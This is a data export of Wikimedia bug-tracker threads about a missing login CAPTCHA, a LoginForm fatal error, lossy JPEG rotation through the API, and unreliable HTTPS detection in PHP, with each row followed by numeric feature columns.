+**URL**: http://www.mediawiki.org/w/index.php?title=Special:UserLogin&useNew=1 ",Medium,50.0,1366311660,1384297088.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-5llfshvnwdujihciihfy,task_description,resolved,True,c2,1,False,False,True,-19,True,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+209327,badlogin CAPTCHA doesn't work in new login form,"(In reply to comment #4)
+> The captcha just got removed right ?
+No, it's still there, try to login several times with the wrong password.
+
+Yes, this is fixed reasonably well for most CAPTCHA options. Thanks MZMcBride for following up.",,,1384297088,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-5llfshvnwdujihciihfy,task_subcomment,,True,c2,3,False,,,10,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1
+209322,badlogin CAPTCHA doesn't work in new login form,"(In reply to comment #2)
+> Related URL: https://gerrit.wikimedia.org/r/59993 (Gerrit Change
+> I1523fe6551585ba731b0ca4207e22d614d0a46d8)
+
+Merged.
+
+(In reply to comment #3)
+> Related URL: https://gerrit.wikimedia.org/r/60792 (Gerrit Change
+> I1523fe6551585ba731b0ca4207e22d614d0a46d8)
+
+Merged.
+
+What's left to do here?",,,1384261886,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-5llfshvnwdujihciihfy,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1
+209314,badlogin CAPTCHA doesn't work in new login form,The captcha just got removed right ?,,,1384184613,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-5llfshvnwdujihciihfy,task_subcomment,,True,c2,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+209307,badlogin CAPTCHA doesn't work in new login form,Related URL: https://gerrit.wikimedia.org/r/60792 (Gerrit Change I1523fe6551585ba731b0ca4207e22d614d0a46d8),,,1366865934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5llfshvnwdujihciihfy,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+209300,badlogin CAPTCHA doesn't work in new login form,Related URL: https://gerrit.wikimedia.org/r/59993 (Gerrit Change I1523fe6551585ba731b0ca4207e22d614d0a46d8),,,1366365751,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5llfshvnwdujihciihfy,task_subcomment,,True,c2,1,False,,,-19,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+209293,badlogin CAPTCHA doesn't work in new login form,Munaf and I figured out how to put it back in the form yet avoid Agora styling arbitrary CAPTCHA fields. Patches for both login and create account coming.,,,1366313488,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-5llfshvnwdujihciihfy,task_subcomment,,True,c2,1,False,,,-19,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+49138,"Argument 1 passed to LoginForm::userBlockedMessage() must be an instance of Block, null given","[11-Apr-2013 19:45:54] Catchable fatal error: Argument 1 passed to LoginForm::userBlockedMessage() must be an instance of Block, null given, called in /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php on line 829 and defined at /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php on line 964
+Server: mw1076
+Method: POST
+URL: http://meta.wikimedia.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Link/a/b&returntoquery=type=signup
+Backtrace:
+#0 /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php(964): LoginForm::userBlockedMessage()
+#1 /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php(829): LoginForm->userBlockedMessage(NULL)
+#2 /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php(184): LoginForm->processLogin()
+#3 /usr/local/apache/common-local/php-1.22wmf1/includes/SpecialPage.php(613): LoginForm->execute(NULL)
+#4 /usr/local/apache/common-local/php-1.22wmf1/includes/SpecialPageFactory.php(486): SpecialPage->run(NULL)
+#5 /usr/local/apache/common-local/php-1.22wmf1/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
+#6 /usr/local/apache/common-local/php-1.22wmf1/includes/Wiki.php(565): MediaWiki->performRequest()
+#7 /usr/local/apache/common-local/php-1.22wmf1/includes/Wiki.php(458): MediaWiki->main()
+#8 /usr/local/apache/common-local/php-1.22wmf1/index.php(59): MediaWiki->run()
+#9 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apac...')
+#10 {main}
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",Medium,50.0,1365713760,1366018929.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-4q5arosva5i55ggp6usk,task_description,resolved,True,c2,1,True,False,True,-20,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+220692,"Argument 1 passed to LoginForm::userBlockedMessage() must be an instance of Block, null given","Patch in Gerrit was merged and will be part of 1.22wmf2 - see https://www.mediawiki.org/wiki/MediaWiki_1.22/Roadmap for when this version will be deployed on which Wikimedia servers. 
+
+Marking as RESOLVED FIXED.",,,1366018929,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4q5arosva5i55ggp6usk,task_subcomment,,True,c2,1,True,,,-20,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+220688,"Argument 1 passed to LoginForm::userBlockedMessage() must be an instance of Block, null given",Related URL: https://gerrit.wikimedia.org/r/59085 (Gerrit Change I43f35cfa342737f05a08a693a86949c14348321f),,,1365972619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4q5arosva5i55ggp6usk,task_subcomment,,True,c2,1,False,,,-20,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+48549,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"I don't know whether it is really a bug or just some JPEG-encoding-internal-strangeness
+
+Test at https://commons.wikimedia.org/wiki/File:Bot-Test.jpg
+
+API query at:
+https://commons.wikimedia.org/w/api.php?action=query&prop=info|imageinfo&iiprop=size|comment&titles=File:Bot-Test.jpg&iilimit=5
+
+Start size: 324829; then, after first rotation 281901, then 275364, then 270655 and finally after 4 rotations just 268076 Bytes:
+
+  <ii size=""268076"" width=""512"" height=""512"" comment=""Bild um 90 Grad im Uhrzeigersinn gedreht"" />
+  <ii size=""270655"" width=""512"" height=""512"" comment=""Bild um 270 Grad im Uhrzeigersinn gedreht"" />
+  <ii size=""275364"" width=""512"" height=""512"" comment=""Bild um 270 Grad im Uhrzeigersinn gedreht"" />
+  <ii size=""281901"" width=""512"" height=""512"" comment=""Bild um 90 Grad im Uhrzeigersinn gedreht"" />
+  <ii size=""324829"" width=""512"" height=""512"" comment=""Reverted to version as of 18:08, 29 November 2012"" />
+
+Expected result: After 360° rotation and if the image is not cropped, the file size is supposed to be the same.
+
+Why isn't simply the Metadata of the file manipulated (the EXIF-Orientation-tag). The image-scalers would do the remaining work.
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: normal
+**See Also**:
+https://rt.wikimedia.org/Ticket/Display.html?id=4821
+https://bugzilla.wikimedia.org/show_bug.cgi?id=36221",Medium,50.0,1364245080,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-n43webutsmwcx4hychhq,task_description,open,True,c2,1,False,False,,-23,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+210324,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"(In reply to comment #1)
+> we bother to rotate the file properly in order to help our reusers
+This is not really true. Wikimedia's Wikis respect the Exif-Orientation tags set by digital cameras and if you download a picture, or just request the original through clicking on the file at the file description page, you get them in the wrong orientation despite the thumbnail looks fine.
+
+In any case, if the reuser is a professional they know what they have to do; if they aren't it isn't that important that they get the original file (they can save thumbs). Note Bug 31366 about this issue.",,,1364252074,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,False,,,-23,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+210319,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"(In reply to comment #7)
+> I've filed a request to get jpegtran installed on app servers in RT:
+> 
+> https://rt.wikimedia.org/Ticket/Display.html?id=4821
+> 
+> Someone should poke ops people IRL or on IRC to make sure it doesn't fall
+> through the cracks...
+
+And I suspect the problem is that the API apaches are doing the rotation, but they won't have libjpeg-turbo-progs etc
+
+Maybe we could just disable the api module on the cluster for now....",,,1364247856,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+210313,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"The fact that the file size is smaller, doesn't necessarily mean that it has a loss of quality. The program rotating the image may do some optimization of it, although I agree that it's odd that it's always smaller.
+
+On Windows I use a program called IrfanView which has some options labeled as ""JPG Lossless rotation"" which also changes the file size.",,,1364247628,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+210304,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"https://gerrit.wikimedia.org/r/#/c/52707/
+
+^ It was merged 4 days ago...",,,1364247566,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0
+210299,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"I've filed a request to get jpegtran installed on app servers in RT:
+
+https://rt.wikimedia.org/Ticket/Display.html?id=4821
+
+Someone should poke ops people IRL or on IRC to make sure it doesn't fall through the cracks...",,,1364247455,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+210293,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"Ok I'll withhold my comments about whether this API method is a good idea or not... ;)
+
+But the reason it's not lossless on JPEGs on the live cluster is most likely because 'jpegtran' is not installed on the application servers, so it's falling back to ImageMagick or some such.",,,1364247145,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,1,0
+210287,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"(In reply to comment #2)
+> Where did the rotated images come from (eg, what tool did you use?)
+
+That was my first question as well. :-)  It required re-reading the bug summary to figure out that Rainer really did mean the MediaWiki API (cf. <https://commons.wikimedia.org/w/api.php>; grep ""action=imagerotate"").",,,1364246992,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+210282,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,Urrrrrggghghghllllllllll,,,1364246772,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+210275,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,I believe this relates to https://gerrit.wikimedia.org/r/#/c/44005/,,,1364246631,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+210270,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"Where did the rotated images come from (eg, what tool did you use?)
+
+AFAIK there's nothing built-in to MediaWiki that's designed to perform lossless rotation and then upload the result, so there's something non-default going on.",,,1364245795,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,0,1,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+210263,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"AFAIK we bother to rotate the file properly in order to help our reusers who viewers may or may not support EXIF rotation. The problem of 360 degree rotation altering the file still stands, of course.",,,1364245471,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+48511,HTTPS detection is not reliable,"**Author:** `jskarvad`
+
+**Description:**
+HTTPS detection is not reliable. It uses $_SERVER['HTTPS'] == 'on', but according to PHP docs [1]:
+
+> 'HTTPS' Set to a non-empty value if the script was queried through the HTTPS protocol.
+
+This maybe problem e.g. when mediawiki is running on Amazon cloud through HTTPS, their load balancer sets the HTTPS to '1'.
+
+Also the detection code suppose the HTTPS to be SSL on port 443, but IMHO it can be also TLS on port 80 and injecting the explicit port in this case also breaks things for me (Amazon/HTTPS/Firefox). Attached is the fix for mediawiki 1.16. It seems that the latest mediawiki 1.20.3 is also affected, but the code is slightly different there.
+
+This problem results in e.g. inability to save the user preferences.
+
+[1] http://php.net/manual/en/reserved.variables.server.php
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: normal",Medium,50.0,1364143920,1538259526.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-j7jwnj5chzo76nqqvgqc,False,PHID-TASK-7ldaahpp3qkur3swavmi,task_description,resolved,True,c2,1,False,False,False,-23,True,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1
+1150885,HTTPS detection is not reliable,"I think this is resolved, so I closing this task as resolved. Task assigned to Reedy because he made patch for this task.",,,1538259526,,PHID-USER-j7jwnj5chzo76nqqvgqc,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,True,,,265,True,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+400680,HTTPS detection is not reliable,"Change 116943 merged by jenkins-bot:
+Fix HTTPS protocol detection
+
+[[https://gerrit.wikimedia.org/r/116943]]",,,1421425756,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,72,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+207830,HTTPS detection is not reliable,"Change 132435 abandoned by Reedy:
+Fix HTTPS protocol detection
+
+https://gerrit.wikimedia.org/r/132435",,,1399648723,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,36,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+207826,HTTPS detection is not reliable,"Change 132435 had a related patch set uploaded by Reedy:
+Fix HTTPS protocol detection
+
+https://gerrit.wikimedia.org/r/132435",,,1399648698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,36,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+207823,HTTPS detection is not reliable,"(In reply to Gerrit Notification Bot from comment #13)
+> Change 116943 had a related patch set uploaded by Yarda:
+> Fix HTTPS protocol detection
+> 
+> https://gerrit.wikimedia.org/r/116943
+
+Awesome, welcome in gerrit and thanks for your first patch; hopefully the first of a long series.
+
+(In reply to Jaroslav Škarvada from comment #14)
+> I have no idea who to assign the review, the list
+> http://www.mediawiki.org/wiki/Developers/Maintainers wasn't helpful, so
+> keeping it as unassigned.
+
+Usually we just assign to whoever submits the patch, but then it's a collaborative effort. I see you already received a review, if after several days everything is still silent please add more reviewers active on those files and related and/or poke someone on IRC.",,,1394226266,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,True,,,27,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+207819,HTTPS detection is not reliable,"**jskarvad** wrote:
+
+I have no idea who to assign the review, the list http://www.mediawiki.org/wiki/Developers/Maintainers wasn't helpful, so keeping it as unassigned.",,,1394018896,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,27,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+207815,HTTPS detection is not reliable,"Change 116943 had a related patch set uploaded by Yarda:
+Fix HTTPS protocol detection
+
+https://gerrit.wikimedia.org/r/116943",,,1394018182,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,27,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+207811,HTTPS detection is not reliable,"**jskarvad** wrote:
+
+It seems the problem with the Amazon WS load balancer was already resolved in the GIT, but the issue with the $_SERVER['HTTPS'] seems still to be unresolved.
+
+The problem is that $_SERVER['HTTPS'] == 'on' is used in the MediaWiki for detections of the HTTPS protocol which is not correct according to PHP documentation [1], citing:
+
+---
+'HTTPS'
+    Set to a non-empty value if the script was queried through the HTTPS protocol.
+
+        Note: Note that when using ISAPI with IIS, the value will be off if the request was not made through the HTTPS protocol. 
+---
+
+I also saw implementation where it was set to '1' instead of 'on'. So to be in sync with the PHP documentation I think it should use:
+$_SERVER['HTTPS'] != '' && $_SERVER['HTTPS'] != 'off'
+instead of:
+$_SERVER['HTTPS'] == 'on'
+
+I will post the patch through Gerrit.
+
+[1] http://www.php.net/manual/en/reserved.variables.server.php",,,1394014633,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,27,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+207805,HTTPS detection is not reliable,"**jskarvad** wrote:
+
+(In reply to Andre Klapper from comment #10)
+> (In reply to Jaroslav Škarvada from comment #8)
+> > Created attachment 11984 [details]
+> > Proposed fix for mediawiki-1.20.3
+> 
+> Hmm, https://git.wikimedia.org/tree/mediawiki%2Fcore.git does not list any
+> ""php"" subfolder in the top level, neither does the 1.19.12 tarball, so it
+> cannot be applied and I am not sure which base this patch is against. Can
+> you clarify?
+> 
+I will check the current status and in case the problem is still there I will refresh the patch.
+
+> (Also, this needs to go into Gerrit nowadays: See
+> https://www.mediawiki.org/wiki/Developer_access and
+> https://www.mediawiki.org/wiki/Git/Tutorial )
+>
+OK, thanks for info, I will sign-up for the Gerrit account.
+
+**Attached**: {F10308}",,,1394011060,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,27,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1
+207799,HTTPS detection is not reliable,"(In reply to Jaroslav Škarvada from comment #8)
+> Created attachment 11984 [details]
+> Proposed fix for mediawiki-1.20.3
+
+Hmm, https://git.wikimedia.org/tree/mediawiki%2Fcore.git does not list any ""php"" subfolder in the top level, neither does the 1.19.12 tarball, so it cannot be applied and I am not sure which base this patch is against. Can you clarify?
+
